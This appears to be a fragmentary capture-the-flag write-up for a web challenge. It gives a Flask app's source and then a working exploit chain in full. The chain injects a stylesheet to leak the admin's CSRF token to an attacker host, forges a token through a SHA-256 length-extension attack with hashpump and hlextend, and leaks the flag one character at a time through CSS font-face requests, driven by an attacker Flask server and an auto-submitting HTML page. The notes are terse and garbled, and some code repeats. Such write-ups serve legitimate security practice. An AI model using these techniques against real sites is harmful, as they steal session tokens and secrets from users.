from flask import Flask, request, redirect, make_response, send_from_directory
from werkzeug.urls import url_decode, url_encode
from functools import wraps
from collections import defaultdict
import hashlib
import requests
import re
import secrets
import base64
app = Flask(__name__)
FLAGMOKER = "REDACTED"
MOKERS = {"moker1": "dQJOyoO", "moker2": "dQJOyoO", "moker3": "dQJOyoO", "moker4": "dQJOyoO", "moker6": "dQJOyoO", "moker7": "dQJOyoO", "moker8": "dQJOyoO", "flagmoker": FLAGMOKER}
MOKER_PATTERN = re.compile("^[A-Za-z0-9]+$")
MOKEROFTHEDAY = "moker3"
STYLE_PATTERN = re.compile("^[A-Za-z0 -9./]+$")
STYLES = ["moker.css", "plain.css"]
########### HELPERS
def imgur(moker):
return f"https://i.imgur.com/{moker}.png"
ADMIN_PASS = "REDACTED"
users = {"@admin": {"password": ADMIN_PASS, "mokers": []}}
sessions = defaultdict(dict)
@app.after_request
def csp(r):
# Moker does not like "Java Script"
r.headers["Content-Security-Policy"] = "script-src 'none'; img-src https://i.imgur.com/"
return r
def session(f):
@wraps(f)
def dec(*a, **k):
session = request.cookies.get("session", None)
if session is None or session not in sessions:
return redirect("/")
session_obj = sessions[session]
return f(session_obj, *a, **k)
return dec
def csrf(f):
@wraps(f)
def dec(*a, **k):
session = request.cookies.get("session", None)
if session is None or session not in sessions:
return redirect("/")
session = sessions[session]
token = request.args.get("token", None)
args = base64.urlsafe_b64decode(request.args.get("args", ""))
if args != b"":
query = request.path.encode() + b"?" + args
else:
query = request.path.encode()
if token is None:
return "CSRF token missing"
if hashlib.sha256(session["key"] + query).digest().hex() != token:
return "Invalid CSRF token"
request.args = url_decode(args)
return f(*a, **k)
return dec
def signer(session):
def sign(url):
raw_url = url.encode()
token = hashlib.sha256(session["key"] + raw_url).digest().hex()
if url.find("?") != -1:
idx = url.index("?")
base = url[:idx]
args = url[idx+1:]
return base + "?" + url_encode({"args": base64.urlsafe_b64encode(args.encode()), "token": token})
else:
return url + "?" + url_encode({"args": '', "token": token})
return sign
def header(session):
sign = signer(session)
return f"<a href='{sign('/logout')}'>Logout</a> <a href='/view'>My Mokers</a> <a href='/add'>Add a Moker</a> <a href='/create'>Create a new Moker</a> <a href='/delete'>Remove Moker</a>\
<form id='add' method='POST' action='{sign('/add?daily=1')}'><input type='submit' value='*Add \"Moker of the Day\"*'/></form>"
########### ROUTES
@app.route("/")
def home():
session = request.cookies.get("session", None)
if session is None or session not in sessions:
return "<!DOCTYPE html><html><body>Welcome to my Moker Collection website. Please <a href=/register>register</a> or <a href=/login>login</a>.</body></html>"
return redirect("/view")
@app.route('/static/<path:path>')
def staticServe(path):
return send_from_directory('static', path)
@app.route("/register", methods=["GET"])
def register_form():
return "<!DOCTYPE html><html><body>Register an Account<br>\
<form method='POST'><input type='text' name='user' value='username'><input type='text' name='password' value='password (stored in plaintext for you)'><input type='submit' value='Submit'></form></body></html>"
@app.route("/register", methods=["POST"])
def register():
user = request.form.get("user", None)
password = request.form.get("password", None)
if user is None or password is None:
return "Need user and password"
if not (MOKER_PATTERN.match(user) and MOKER_PATTERN.match(password)):
return "Invalid username/password"
users[user] = {"password": password, "mokers": []}
return redirect("/login")
@app.route("/login", methods=["GET"])
def login_form():
return "<!DOCTYPE html><html><body>Login<br>\
<form method='POST'><input type='text' name='user' value='Username'><input type='text' name='password' value='password (stored in plaintext for you)'><input type='submit' value='Submit'></form></body></html>"
@app.route("/login", methods=["POST"])
def login():
user = request.form.get("user", "")
password = request.form.get("password", "")
if user not in users:
return "No user"
if users[user]["password"] == password:
response = make_response(redirect("/view"))
sid = request.cookies.get("session", secrets.token_hex(16))
sessions[sid].clear()
response.set_cookie("session", sid, httponly=True)
sessions[sid]["user"] = user
sessions[sid]["key"] = secrets.token_bytes(16)
return response
return "Invalid user/pass"
@app.route("/logout", methods=["GET"])
@csrf
def logout():
sid = request.cookies.get("session") # already exists given by @csrf
del sessions[sid]
r = make_response(redirect("/"))
r.delete_cookie("session")
return r
@app.route("/view", methods=["GET"])
@session
def view(session):
style = request.args.get("style", "/static/plain.css")
if not STYLE_PATTERN.match(style):
return "Bad style link"
mokers = "<br>".join(f"<img src={imgur(moker)} referrerpolicy=no-referrer class=moker></img>" for moker in users[session["user"]]["mokers"])
styles = " ".join(f"<a href=/view?style=/static/{s}>{s}</a>" for s in STYLES)
return f"<!DOCTYPE html><html><head><link rel=stylesheet href={style}></head><body>{header(session)}<br>Use Some Styles: {styles}<br>Your'e Mokers: <br><br>{mokers}</body></html>"
@app.route("/create", methods=["GET"])
@session
def create_form(session):
sign = signer(session)
form = f"<form action='/create' method='POST'><input type='text' name='name' value='Name of Moker'><input type='text' name='path' value='imgur path without extension'><input type='submit' value='Create'></form>"
return "<!DOCTYPE html><html><body>" + header(session) + "Create a moker.<br>" + form + "</body></html>"
@app.route("/create", methods=["POST"])
@session
def create(session):
if len(MOKERS) > 30:
return "We are at max moker capacity. Safety protocols do not allow adding more moker"
name = request.form.get("name", None)
if name is None or name in MOKERS:
return "No name for new moker"
path = request.form.get("path", None)
if path is None or not MOKER_PATTERN.match(path):
return "Invalid moker path"
if requests.get(imgur(path)).status_code != 200:
return "This moker does not appear to be valid"
MOKERS[name] = path
return redirect("/view")
@app.route("/add", methods=["GET"])
@session
def add_form(session):
sign = signer(session)
mokers = " ".join(f"<form action='{sign('/add?moker=' + moker)}' method='POST'><input type='submit' value='{moker}'></form>" for moker in MOKERS)
return "<!DOCTYPE html><html><body>" + header(session) + "Add a moker to your list.<br>" + mokers + "</body></html>"
@app.route("/add", methods=["POST"])
@csrf
@session
def add(session):
moker = request.args.get("moker", None)
if moker is None:
if request.args.get('daily', False):
moker = MOKEROFTHEDAY
if (moker == "flagmoker" and session["user"] != "@admin") or moker not in MOKERS:
return "Invalid moker"
if requests.get(imgur(MOKERS[moker])).status_code != 200:
return "This moker is not avaliable at this time"
if(len(users[session["user"]]["mokers"]) > 30):
# this is too many mokers for one person. you don't need this many
users[session["user"]]["mokers"].clear()
users[session["user"]]["mokers"].append(MOKERS[moker])
return redirect("/view")
@app.route("/delete", methods=["GET"])
@session
def delete_form(session):
sign = signer(session)
mokers = " ".join(f"<form action={sign('/delete?moker=' + moker)} method=POST><img src={imgur(moker)}></img><input type=submit value=Remove></form>" for moker in users[session["user"]]["mokers"])
return "<!DOCTYPE html><html><body>" + header(session) + "Remove a moker from your list.<br>" + mokers + "</body></html>"
@app.route("/delete", methods=["POST"])
@csrf
@session
def delete(session):
moker = request.args.get("moker", None)
if moker is None:
return "No moker to remove"
users[session["user"]]["mokers"].remove(moker)
return redirect("/view")
FLAGMOKER = "REDACTED"
MOKERS = {"moker1": "dQJOyoO", "moker2": "dQJOyoO", "moker3": "dQJOyoO", "moker4": "dQJOyoO", "moker6": "dQJOyoO", "moker7": "dQJOyoO", "moker8": "dQJOyoO", "flagmoker": FLAGMOKER}
https://i.imgur.com/dQJOyoO.png
https://i.imgur.com/{FLAGMOKER}.png
to get FLAG<!-- moker 8 -->
/add?args=bW9rZXI9bW9rZXI4&token=6f44342ddd64adb6866ecd1c0ffc77445fe13f519e074a20d354b2d8a94c9e80
<!-- flagmoker -->
/add?args=bW9rZXI9ZmxhZ21va2Vy&token=a7d28611ebb8280c2d22ba5dfc4153a8814ce2b66004a7f2bc5580883a1c65c9
/add?args=blahblah&token=blahblah
URL@app.route("/add", methods=["GET"])
@session
def add_form(session):
sign = signer(session)
mokers = " ".join(f"<form action='{sign('/add?moker=' + moker)}' method='POST'><input type='submit' value='{moker}'></form>" for moker in MOKERS)
return "<!DOCTYPE html><html><body>" + header(session) + "Add a moker to your list.<br>" + mokers + "</body></html>"
def signer(session):
def sign(url):
raw_url = url.encode()
token = hashlib.sha256(session["key"] + raw_url).digest().hex()
if url.find("?") != -1:
idx = url.index("?")
base = url[:idx]
args = url[idx+1:]
return base + "?" + url_encode({"args": base64.urlsafe_b64encode(args.encode()), "token": token})
else:
return url + "?" + url_encode({"args": '', "token": token})
return sign
@app.route("/add", methods=["POST"])
@csrf
@session
def add(session):
moker = request.args.get("moker", None)
if moker is None:
if request.args.get('daily', False):
moker = MOKEROFTHEDAY
if (moker == "flagmoker" and session["user"] != "@admin") or moker not in MOKERS:
return "Invalid moker"
if requests.get(imgur(MOKERS[moker])).status_code != 200:
return "This moker is not avaliable at this time"
if(len(users[session["user"]]["mokers"]) > 30):
# this is too many mokers for one person. you don't need this many
users[session["user"]]["mokers"].clear()
users[session["user"]]["mokers"].append(MOKERS[moker])
return redirect("/view")
flagmoker
and check session["user"] != "@admin"
Hash Length extenstion attack
to make new tokendef signer(session):
def sign(url):
raw_url = url.encode()
token = hashlib.sha256(session["key"] + raw_url).digest().hex()
if url.find("?") != -1:
idx = url.index("?")
base = url[:idx]
args = url[idx+1:]
return base + "?" + url_encode({"args": base64.urlsafe_b64encode(args.encode()), "token": token})
else:
return url + "?" + url_encode({"args": '', "token": token})
return sign
@app.route("/view", methods=["GET"])
@session
def view(session):
style = request.args.get("style", "/static/plain.css")
if not STYLE_PATTERN.match(style):
return "Bad style link"
mokers = "<br>".join(f"<img src={imgur(moker)} referrerpolicy=no-referrer class=moker></img>" for moker in users[session["user"]]["mokers"])
styles = " ".join(f"<a href=/view?style=/static/{s}>{s}</a>" for s in STYLES)
return f"<!DOCTYPE html><html><head><link rel=stylesheet href={style}></head><body>{header(session)}<br>Use Some Styles: {styles}<br>Your'e Mokers: <br><br>{mokers}</body></html>"
STYLE_PATTERN = re.compile("^[A-Za-z0 -9./]+$")
"https://obyccpl.request.dreamhack.games/
to get admin's token value to hacker's server<!DOCTYPE html><html><head><link rel=stylesheet href="//yvjhfpv.request.dreamhack.games/></head><body><a href='/logout?args=&token=453dd283e4afa0272972bec4a55ac0152d8dbb462640cbebf9a61b48509230d6'>Logout</a> <a href='/view'>My Mokers</a> <a href='/add'>Add a Moker</a> <a href='/create'>Create a new Moker</a> <a href='/delete'>Remove Moker</a><form id='add' method='POST' action='/add?args=ZGFpbHk9MQ%3D%3D&token=800b65d74a57ebae509da5c53b2aa382975e8670c34f6054d9ec033a36f3aaa9'><input type='submit' value='*Add "Moker of the Day"*'/></form><br>Use Some Styles: <a href=/view?style=/static/moker.css>moker.css</a> <a href=/view?style=/static/plain.css>plain.css</a><br>Your'e Mokers: <br><br><img src=https://i.imgur.com/dQJOyoO.png referrerpolicy=no-referrer class=moker></img></body></html>
"//yvjhfpv.request.dreamhack.games/></head><body><a href='/logout?args=&token=453dd283e4afa0272972bec4a55ac0152d8dbb462640cbebf9a61b48509230d6'>Logout</a> <a href='/view'>My Mokers</a> <a href='/add'>Add a Moker</a> <a href='/create'>Create a new Moker</a> <a href='/delete'>Remove Moker</a><form id='add' method='POST' action='/add?args=ZGFpbHk9MQ%3D%3D&token=800b65d74a57ebae509da5c53b2aa382975e8670c34f6054d9ec033a36f3aaa9'><input type='submit' value='*Add "
https://
because of :, but we can load the link style href like //www.text.com/test.css
http://127.0.0.1:5000/view?style=%22//obyccpl.request.dreamhack.games/
we can get the admin's token value like this/add?args=ZGFpbHk9MQ%3D%3D&token=bc28f9189c065c34d7ef3a11418682890db764b925572e1e75349bb0cdd64900
# hashpump -s '6d5f807e23db210bc254a28be2d6759a0f5f5d99' --data 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' -a '&waffle=liege' -k 14
0e41270260895979317fff3898ab85668953aaa2
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege
# hashpump -s 'bc28f9189c065c34d7ef3a11418682890db764b925572e1e75349bb0cdd64900' --data 'daily=1' -a '&moker=flagmoker' -k 16
cd98d271a1dba578f4649cf1014e542629dca0edbdec186ce1ecfd611cb0ccc4
daily=1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8&moker=flagmoker
http://127.0.0.1:5000/add?args=ZGFpbHk9MYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4CZtb2tlcj1mbGFnbW9rZXI%3D&token=3e6bb2758bd9ecff2af16d16d32b6c638718866c13882b310e70dda149a13897
<html>
<body>
<form id="leak_token_form" action="http://127.0.0.1:5000/view" method="get" target="fake">
<input type="hidden" name="style" value='"//127.0.0.1:5001/tokenleak/'/>
</form>
<form id="add_moker_form" action="" method="post" target="_blank"></form>
<script>
(async () => {
var moker_host = "http://127.0.0.1:5000";
var ngrok = "127.0.0.1:5001";
await fetch("/reset");
await new Promise((r) => setTimeout(r, 1000));
document.getElementById("leak_token_form").submit();
await new Promise((r) => setTimeout(r, 1000));
// Add flagmoker to admin
let add_flag_moker_url = await (await fetch("/addflagmokerurl")).text();
console.log("add_flag_moker_url", add_flag_moker_url);
document.getElementById("add_moker_form").action = add_flag_moker_url;
document.getElementById("add_moker_form").submit();
await new Promise((r) => setTimeout(r, 1000));
})();
</script>
</body>
</html>
https://i.imgur.com/FAKEFAKE.png
img[src^="https://i.imgur.com/l"] {
background-image: url(http://127.0.0.1:5001/leak?c=l);
}
@font-face {
font-family: 'leakl';
src: url(http://127.0.0.1:5001/leak?c=l);
}
body:has(img[src^="http://i.imgur.com/l"]):before {
font-family: "leakl";
border: 1px red solid;
content: "yoobi";
}
@app.route("/css")
def css_injection():
out = ""
for c in string.ascii_lowercase + string.digits:
out += f"@font-face {{\n"
out += f" font-family: 'leak{c}';\n"
out += f" src: url(http://127.0.0.1:5001/leak?c={c});\n"
out += f"}}\n"
out += f'body:has(img[src^="{flagmoker}{c}"]):before {{\n'
out += f' font-family: "leak{c}";\n'
out += f' border: 1px red solid;\n'
out += f' content: "yoobi";\n'
out += f'}}\n'
for c in string.ascii_uppercase:
out += f"@font-face {{\n"
out += f" font-family: 'leakU{c}';\n"
out += f" src: url(http://127.0.0.1:5001/leak?c={c});\n"
out += f"}}\n"
out += f'body:has(img[src^="{flagmoker}{c}"]):before {{\n'
out += f' font-family: "leakU{c}";\n'
out += f' border: 1px red solid;\n'
out += f' content: "yoobi";\n'
out += f'}}\n'
return out, 200, {'Content-Type': 'text/css; charset=utf-8'}
from flask import Flask, request, send_file
import string
import hlextend
import base64
app = Flask(__name__)
flagmoker = "https://i.imgur.com/"
csrf_token = ""
NGROK = "https://127.0.0.1:5001"
MOKERHOST = "http://127.0.0.1:5000"
@app.route("/")
def hello_world():
return send_file("index.html")
@app.route("/tokenleak/<path:path>")
def csrf_token_leak(path):
global csrf_token
csrf_token = request.url.split("token=")[2].split("%27")[0]
print("The token is: ", csrf_token)
return "thanks!"
@app.route("/addflagmokerurl")
def add_flagmoker_redirect():
print("using csrf_token", csrf_token)
sha = hlextend.new('sha256')
contents_raw = sha.extend(b'&moker=flagmoker', b'daily=1', 21, str(csrf_token))
print("contents_raw", contents_raw)
contents = base64.urlsafe_b64encode(contents_raw).decode()
contents = contents.replace("=", "%3D")
print("Contents.b64", contents)
digest = sha.hexdigest()
print("New CSRF Token", digest)
redirect_url = f"{MOKERHOST}/add?args={contents}&token={digest}"
print("redirect_url", redirect_url)
return redirect_url
@app.route("/exploit")
def exploit():
return f"""<HTML><body><iframe src{NGROK + "/css"}</iframe><body>"""
@app.route("/reset")
def reset():
global flagmoker
global csrf_token
flagmoker = "https://i.imgur.com/"
csrf_token = ""
return "Thanks!"
@app.route("/leak")
def leak_character():
global flagmoker
flagmoker += request.args.get("c")
print("Current flagmoker", flagmoker)
return "nice", 200, {"content-type": "application/font-woff"}
@app.route("/css")
def css_injection():
out = ""
for c in string.ascii_lowercase + string.digits:
out += f"@font-face {{\n"
out += f" font-family: 'leak{c}';\n"
out += f" src: url(http://127.0.0.1:5001/leak?c={c});\n"
out += f"}}\n"
out += f'body:has(img[src^="{flagmoker}{c}"]):before {{\n'
out += f' font-family: "leak{c}";\n'
out += f' border: 1px red solid;\n'
out += f' content: "yoobi";\n'
out += f'}}\n'
for c in string.ascii_uppercase:
out += f"@font-face {{\n"
out += f" font-family: 'leakU{c}';\n"
out += f" src: url(http://127.0.0.1:5001/leak?c={c});\n"
out += f"}}\n"
out += f'body:has(img[src^="{flagmoker}{c}"]):before {{\n'
out += f' font-family: "leakU{c}";\n'
out += f' border: 1px red solid;\n'
out += f' content: "yoobi";\n'
out += f'}}\n'
return out, 200, {'Content-Type': 'text/css; charset=utf-8'}
<html>
<body>
Exploit Script.
<form id="leak_token_form" action="http://127.0.0.1:5000/view" method="get" target="fake">
<input type="hidden" name="style" value='"//127.0.0.1:5001/tokenleak/'/>
</form>
<form id="add_moker_form" action="" method="post" target="_blank"></form>
<form id="leak_mokerflag_form" action="http://127.0.0.1:5000/view" method="get" target="_blank">
<input type="hidden" name="style" value='//127.0.0.1:5001/css'/>
</form>
<script>
(async () => {
var moker_host = "http://127.0.0.1:5000";
var ngrok = "127.0.0.1:5001";
await fetch("/reset");
await new Promise((r) => setTimeout(r, 1000));
document.getElementById("leak_token_form").submit();
await new Promise((r) => setTimeout(r, 1000));
// Add flagmoker to admin
let add_flag_moker_url = await (await fetch("/addflagmokerurl")).text();
console.log("add_flag_moker_url", add_flag_moker_url);
document.getElementById("add_moker_form").action = add_flag_moker_url;
document.getElementById("add_moker_form").submit();
await new Promise((r) => setTimeout(r, 1000));
// Leak URL
for (let i = 0; i < 8; i++){
document.getElementById("leak_mokerflag_form").submit();
await new Promise((r) => setTimeout(r, 1000));
}
})();
</script>
</body>
</html>